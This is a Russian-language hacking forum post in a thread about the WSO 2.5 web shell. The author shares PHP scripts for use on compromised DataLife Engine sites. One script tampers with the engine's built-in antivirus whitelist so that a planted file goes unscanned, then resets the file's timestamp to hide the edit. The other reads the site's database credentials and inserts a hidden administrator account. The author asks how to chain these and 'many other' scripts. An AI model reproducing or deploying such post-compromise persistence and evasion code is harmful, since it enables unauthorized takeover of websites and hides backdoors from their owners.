Тема: WSO 2.5 Modified
Показать сообщение отдельно

  #43  
Старый 07.11.2011, 13:51
spiderbuber
Познающий
Регистрация: 20.10.2010
Сообщений: 61
Провел на форуме:
19136

Репутация: 0
По умолчанию

Прошу больно не пинать, вопрос скорей не по шеллу, а по выполнению в шелле php скриптов..

Мне часто "попадаются" сайты на движке DLE, поэтому замутил для себя несколько простеньких скриптов для экономия времени..

Прячем файлы от встроенного антивируса:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]//AV hide

[/COLOR][COLOR="#0000BB"]$antivir[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'../ajax/antivirus.php'[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$time_create[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]filemtime[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$antivir[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$text[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$antivir[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$antivir[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'w'[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$text[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'"./engine/inc/search.php",'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'"./engine/inc/search.php",

"./engine/ajax/view.php",'
[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$text[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$text[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$res[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]touch[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$antivir[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$time_create[/COLOR][COLOR="#007700"]);

echo[/
COLOR][COLOR="#DD0000"]"AV - ok :)"[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#FF8000"]// end //[/COLOR][/COLOR] 
Создаём админа

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]//adm

[/COLOR][COLOR="#0000BB"]ob_start[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"DATALIFEENGINE"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"1"[/COLOR][COLOR="#007700"]);

include([/
COLOR][COLOR="#DD0000"]"../classes/mysql.class.php"[/COLOR][COLOR="#007700"]);

include([/
COLOR][COLOR="#DD0000"]"dbconfig.php"[/COLOR][COLOR="#007700"]);

include([/
COLOR][COLOR="#DD0000"]"config.php"[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]mysql_connect[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]DBHOST[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]DBUSER[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]DBPASS[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]mysql_select_db[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]DBNAME[/COLOR][COLOR="#007700"]);

@[/
COLOR][COLOR="#0000BB"]set_time_limit[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$update[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"INSERT INTO `"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]PREFIX[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"_users` ( `email` , `password` , `name`, `user_group` ) VALUES ('my@mail.com', '14e1b600b1fd579f47433b88e8d85291', 'adm', '1')"[/COLOR][COLOR="#007700"]);

echo[/
COLOR][COLOR="#DD0000"]"adm in DB - ok :)"[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#FF8000"]// end //[/COLOR][/COLOR] 
и много других...

Как все эти скрипты реализовать в одном?

Т.е. выполнился первый, если выдал результат "ок" - переходим ко второму и т.д.

Если произошла ошибка - останавливаем и выводим на экран..

Знаю что реализуется условиями, но не пойму как сделать. Пых начал изучать недавно...
 
Ответить с цитированием